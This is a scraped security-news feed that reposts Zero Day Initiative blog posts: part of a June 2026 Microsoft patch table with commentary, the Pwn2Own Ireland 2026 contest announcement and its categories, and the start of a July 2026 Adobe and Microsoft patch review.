CVE-2026-45484 Microsoft SharePoint Elevation of Privilege Vulnerability Important 8.8 No No 2 EoP
CVE-2026-45454 Microsoft SharePoint Remote Code Execution Vulnerability Important 6.5 No No 2 RCE
CVE-2026-47298 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8 No No 2 RCE
CVE-2026-45467 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45468 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45479 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45453 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-47636 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-47637 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-47638 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-47639 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 3 Spoofing
CVE-2026-47641 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-33113 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-45462 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45464 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-45465 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-47634 Microsoft SharePoint Server Spoofing Vulnerability Important 7.3 No No 1 Spoofing
CVE-2026-47640 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 3 Spoofing
CVE-2026-45481 Microsoft SharePoint Server Spoofing Vulnerability Important 7.3 No No 1 Spoofing
CVE-2026-48560 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-48562 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-42835 Microsoft Teams for Android Information Disclosure Vulnerability Important 8.1 No No 2 Info
CVE-2026-45606 Microsoft UxTheme Library (uxtheme.dll) Denial of Service Vulnerability Important 5.5 No No 2 DoS
CVE-2026-45482 Microsoft Visual Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability Important 8.4 No No 2 SFB
CVE-2026-45466 Microsoft Word Information Disclosure Vulnerability Important 3.3 No No 3 Info
CVE-2026-45471 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45486 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45643 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45457 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-42980 NT OS Kernel Elevation of Privilege Vulnerability Important 7.8 No No 1 EoP
CVE-2026-42916 NT OS Kernel Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45649 Office for Android Spoofing Vulnerability Important 7.1 No No 3 Spoofing
CVE-2026-47653 Remote Desktop Client Remote Code Execution Vulnerability Important 8.8 No No 3 RCE
CVE-2026-42909 Remote Desktop Client Remote Code Execution Vulnerability Important 7.5 No No 3 RCE
CVE-2026-42913 Remote Desktop Client Remote Code Execution Vulnerability Important 7.5 No No 3 RCE
CVE-2026-42993 Remote Desktop Client Remote Code Execution Vulnerability Important 7.5 No No 2 RCE
CVE-2026-45588 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48568 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48570 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48573 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48575 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48576 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48578 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-45654 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-45656 UEFI Secure Boot Security Feature Bypass Vulnerability Important 7.8 No No 2 SFB
CVE-2026-8863 UEFI Secure Boot Security Feature Bypass Vulnerability Important 7.8 No No 2 SFB
CVE-2026-40376 Visual Studio Code Elevation of Privilege Vulnerability Important 7.5 No No 2 EoP
CVE-2026-47281 Visual Studio Code Elevation of Privilege Vulnerability Important 9.6 No No 3 EoP
CVE-2026-47284 Visual Studio Code Information Disclosure Vulnerability Important 6.5 No No 2 Info
CVE-2026-47292 Visual Studio Code MSSQL Extension Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-48569 Visual Studio Code Security Feature Bypass Vulnerability Important 7.1 No No 2 SFB
CVE-2026-47287 Visual Studio Code Tampering Vulnerability Important 6.5 No No 2 Tampering
CVE-2026-42829 Windows Administrator Protection Secure Feature Bypass Vulnerability Important 7.8 No No 2 SFB
CVE-2026-34335 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-45601 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45598 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45596 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45638 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45603 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-42911 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45594 Windows Application Identity (AppID) Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-45655 Windows BitLocker Security Feature Bypass Vulnerability Important 5.3 No No 2 SFB
CVE-2026-45658 Windows BitLocker Security Feature Bypass Vulnerability Important 7.8 No No 1 SFB
CVE-2026-45640 Windows Bluetooth Port Driver Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45605 Windows Bluetooth Service Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-47656 Windows Boot Manager Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-44809 Windows Common Log File System Driver Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-45634 Windows DHCP Client Information Disclosure Vulnerability Important 5.5 No No 3 Info
CVE-2026-45608 Windows DHCP Client Information Disclosure Vulnerability Important 6.8 No No 3 Info
CVE-2026-41108 Windows DNS Client Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-42905 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 1 EoP
CVE-2026-44811 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44808 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44807 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42983 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44802 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44813 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44804 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-48566 Windows DWM Core Library Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-44814 Windows DWM Core Library Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-45602 Windows Dynamic Host Configuration Protocol (DHCP) Tampering Vulnerability Important 9.1 No No 2 Tampering
CVE-2026-42836 Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-42910 Windows Hotpatch Monitoring Service Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42972 Windows Hyper-V Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-45592 Windows Internet (wininet.dll) Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42903 Windows Kerberos Denial of Service Vulnerability Important 6.5 No No 3 DoS
CVE-2026-42914 Windows Kerberos Denial of Service Vulnerability Important 5.3 No No 2 DoS
CVE-2026-48583 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45653 Windows Kernel Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-42984 Windows Kernel Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-45600 Windows Kernel-Mode Driver Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-45604 Windows Managed Installer Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-45595 Windows Mark of the Web Security Feature Bypass Vulnerability Important 5.4 No No 2 SFB
CVE-2026-45636 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-50508 Windows NTLM Spoofing Vulnerability Important 6.5 No No 1 Spoofing
CVE-2026-48565 Windows Narrator Braille Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44805 Windows Network Controller (NC) Host Agent Denial of Service Vulnerability Important 5.5 No No 3 DoS
CVE-2026-42981 Windows Performance Monitor Remote Code Execution Vulnerability Important 8.1 No No 2 RCE
CVE-2026-42974 Windows Performance Monitor Remote Code Execution Vulnerability Important 8.1 No No 2 RCE
CVE-2026-45487 Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42828 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42837 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42969 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No 3 Info
CVE-2026-42971 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42970 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42973 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42978 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42977 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42979 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42991 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-45639 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 7.5 No No 2 Info
CVE-2026-42908 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 7.5 No No 2 Info
CVE-2026-45593 Windows SDK Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42906 Windows Shell Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42907 Windows Shell Information Disclosure Vulnerability Important 6.5 No No 2 Info
CVE-2026-47648 Windows Storage Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-42915 Windows TCP/IP Denial of Service Vulnerability Important 5.7 No No 2 DoS
CVE-2026-42904 Windows TCP/IP Elevation of Privilege Vulnerability Important 9.6 No No 3 EoP
CVE-2026-42968 Windows Telephony Server Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42912 Windows Telephony Service Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45597 Windows UI Automation Manager (uiamanager.dll) Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-45599 Windows UPnP Device Host Remote Code Execution Vulnerability Important 8.1 No No 2 RCE
CVE-2026-45635 Windows UPnP Device Host Remote Code Execution Vulnerability Important 8.1 No No 2 RCE
CVE-2026-40409 Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-40404 Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42989 Winlogon Elevation of Privilege Vulnerability Important 7.8 No No 1 EoP

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

 

Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.

Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.

There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be.

Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls.

Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.

There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.

I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.

There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.

No new advisories are being released this month.

Looking Ahead

The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

 

]]> <![CDATA[Pwn2Own Ireland 2026 – New Targets and Categories]]> https://tsecurity.de/de/3694559/hacking/pwn2own-ireland-2026-new-targets-and-categories/ https://tsecurity.de/de/3694559/hacking/pwn2own-ireland-2026-new-targets-and-categories/ Sat, 25 Jul 2026 19:02:51 +0200 đŸ•”ïž Hacking tsecurity.de If you just want to read the rules, you can find them here.

 

Pwn2Own Ireland returns for 2026, and it’s the third year for this event in the Emerald Isle. Despite the dreary Irish skies (and the threat of a random banshee), we had an amazing event, even if we did end up in a jail at the end. With that in mind, we’re excited to return to Cork this fall for yet another great Pwn2Own event. We’ll also be returning to some of the great pubs Ireland has to offer in the evenings and wrapping the event up at a special location (stay tuned for that announcement).

As for the contest itself, it will run from October 6-9, 2026. As always, we’ll have a random drawing to determine the schedule of attempts on the first day of the contest, and we will proceed from there. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2026. There are no exceptions for late entries, so if you have questions, please contact us at pwn2own@trendmicro.com (note the address). We will be happy to address your issues or concerns directly.

Due to the overwhelming amount of registrations and last-minute entries for our Pwn2Own Berlin event, we’re changing who can enter the contest a bit to ensure it’s fair for all researchers. To enter, you must have received an aggregate bounty payment totaling at least $15,000 during their life-time participation in ZDI. This includes past Pwn2Own events and our regular bug bounty program. We recognize there may be some who haven’t participated in the past with great exploits to demonstrate, so we will also accept up to 10 new contestants at our discretion. We’re capping the number of entries to 80 this year. Once we have 80 qualifying entries, we will close registration. That means if you want to enter, it is in your best interest to contact us sooner rather than later. Please read the rules thoroughly to ensure you meet all the requirements.

Now on to this year’s target categories. We’ll have seven different categories for this year’s event:


-- Mobile Phones
-- Smart Home Devices
-- Wellness
-- Printers
-- Messaging
-- AI Infrastructure
-- AI Coding Agents

Let’s take a look at each category in more detail, starting with mobile phones.

The Target Phones

Back in Amsterdam where this contest originated, it was originally dubbed “Mobile Pwn2Own” and our focus was strictly on phones. Mobile handsets remain at the heart of this event, and some of the Samsung entries from last year were absolutely smashing. As always, these phones will be running the latest version of their respective operating systems with all available updates installed. Last year we also introduced the USB attack vector, but no one submitted an entry for it. We’ll see if that changes this year.

Otherwise, contestants must compromise the device by browsing to content in the default browser for the target under test or by communicating with the following short-distance protocols: near field communication (NFC), Wi-Fi, or Bluetooth. The awards for this category are:

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Smart Home Devices

As you might have noticed, we have eliminated most of the consumer-related devices from this year’s event. However, there are still a few “pro-sumer” devices that still could have an impact on enterprises, and the first of these categories are the devices that control other devices and services. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.

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Wellness Category

This is one of the new categories this year and our first foray into the world of healthcare devices. However, we don’t intend to make this too easy. Entries that require physically pressing any button on the target, or the use of any information, code or PIN printed on the device, are out of scope. Entries that require the contestant to be paired to the target prior to the start of the attempt are not in scope. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.

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Rage Against the Printers

Printers have long been the source of jokes and memes, but they are also an often overlooked attack surface in your office. The printer category always produces some interesting results, often by playing music it shouldn’t or the occasional Rick Roll. We’ve reduced the number of targets in this category this year, but we still expect to see some interesting exploits in these oft unheralded targets.

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The Messaging Category

We introduced WhatsApp as a target last year and came close to seeing a functioning exploit. Sadly, that didn’t happen. However, WhatsApp is used by more than three billion people globally, and some of the messages transmitted can be quite sensitive. That’s why we are bringing it back and hoping for some better results. We know the bugs are out there. We’re just hoping the right researcher decides to show us an exploit that leads to code execution. All of the target handset will be available as clients. Here’s the full prize list for Messaging category:

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AI Infrastructure Category

We introduced these targets at Pwn2Own Berlin, and we saw such
uh
enthusiasm from the community that we decided to immediately bring them back for our Ireland event. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Infrastructure category:

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AI Coding Agent Category

Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a recently updated category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:

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Master of Pwn

No Pwn2Own contest would be complete without crowning a Master of Pwn, which signifies the overall winner of the competition. Earning the title results in a slick trophy, a different sort of wearable, and brings with it an additional 65,000 ZDI reward points (instant Platinum status in 2027).

For those not familiar with how it works, points are accumulated for each successful attempt. While only the first demonstration in a category wins the full cash award, each successful entry claims the full number of Master of Pwn points. Since the order of attempts is determined by a random draw, those who receive later slots can still claim the Master of Pwn title – even if they earn a lower cash payout. As with previous contests, there are penalties for withdrawing from an attempt once you register for it. If the contestant decides to remove an Add-on Bonus during their attempt, the Master of Pwn points for that Add-on Bonus will be deducted from the final point total for that attempt. For example, someone registers for the Apple iPhone 15 with the Kernel Bonus Add-on. During the attempt, the contestant drops the Kernel Bonus Add-on but completes the attempt. The final point total will be 20 Master of Pwn points.

The Complete Details

The full set of rules for Pwn2Own Ireland 2026 can be found here. They may be changed at any time without notice. We highly encourage potential entrants to read the rules thoroughly and completely should they choose to participate. We also encourage contestants to read this blog covering what to expect when participating in Pwn2Own.

Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at pwn2own@trendmicro.com to begin the registration process. (Email only, please; queries via social media, blog post, or other means will not be acknowledged or answered.) If we receive more than one registration for any category, we’ll hold a random drawing to determine the contest order. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2025.

The Results

We’ll be blogging and tweeting results in real-time throughout the competition. Be sure to keep an eye on the blog for the latest information. Follow us on Twitter at @thezdi and @trendaisecurity, and keep an eye on the #P2OIreland hashtag for continuing coverage.

We look forward to seeing everyone in Cork, and we look forward to seeing what new exploits and attack techniques they bring with them.

 

©2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.

]]> <![CDATA[The July 2026 Security Update Review]]> https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/ https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/ Sat, 25 Jul 2026 19:02:51 +0200 đŸ•”ïž Hacking tsecurity.de Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for July 2026

Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.

For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.

Here’s this month’s overview table:

Bulletin ID Product CVE Count Highest Severity Highest CVSS Exploited Deployment Priority
APSB26-82 Adobe ColdFusion 13 Critical 9.9 No 1
APSB26-73 Adobe Commerce 13 Critical 9.6 No 2
APSB26-78 Adobe After Effects 3 Critical 7.8 No 3
APSB26-83 Adobe Animate 6 Critical 8.6 No 3
APSB26-71 Adobe Audition 6 Critical 7.8 No 3
APSB26-81 Adobe Bridge 6 Critical 7.8 No 3
APSB26-77 Adobe Creative Cloud Desktop Application 2 Critical 8.1 No 3
APSB26-74 Adobe Experience Manager 13 Critical 9.6 No 3
APSB26-79 Adobe Illustrator 5 Critical 9.3 No 3
APSB26-72 Adobe Media Encoder 5 Critical 7.8 No 3
APSB26-76 Adobe Premiere Pro 4 Critical 7.8 No 3
APSB26-80 Content Credentials SDK 12 Critical 8.2 No 3
TOTAL 12 bulletins 88

While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here.

Microsoft Patches for July 2026

Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.

The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.

So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.

-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege Vulnerability
This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.

-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege Vulnerability
The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.

-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability
This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.

-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution Vulnerability
This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly.

-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability
This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there.

-    CVE-2026-55008 - Microsoft Exchange Server Spoofing Vulnerability
Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.

-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution Vulnerability
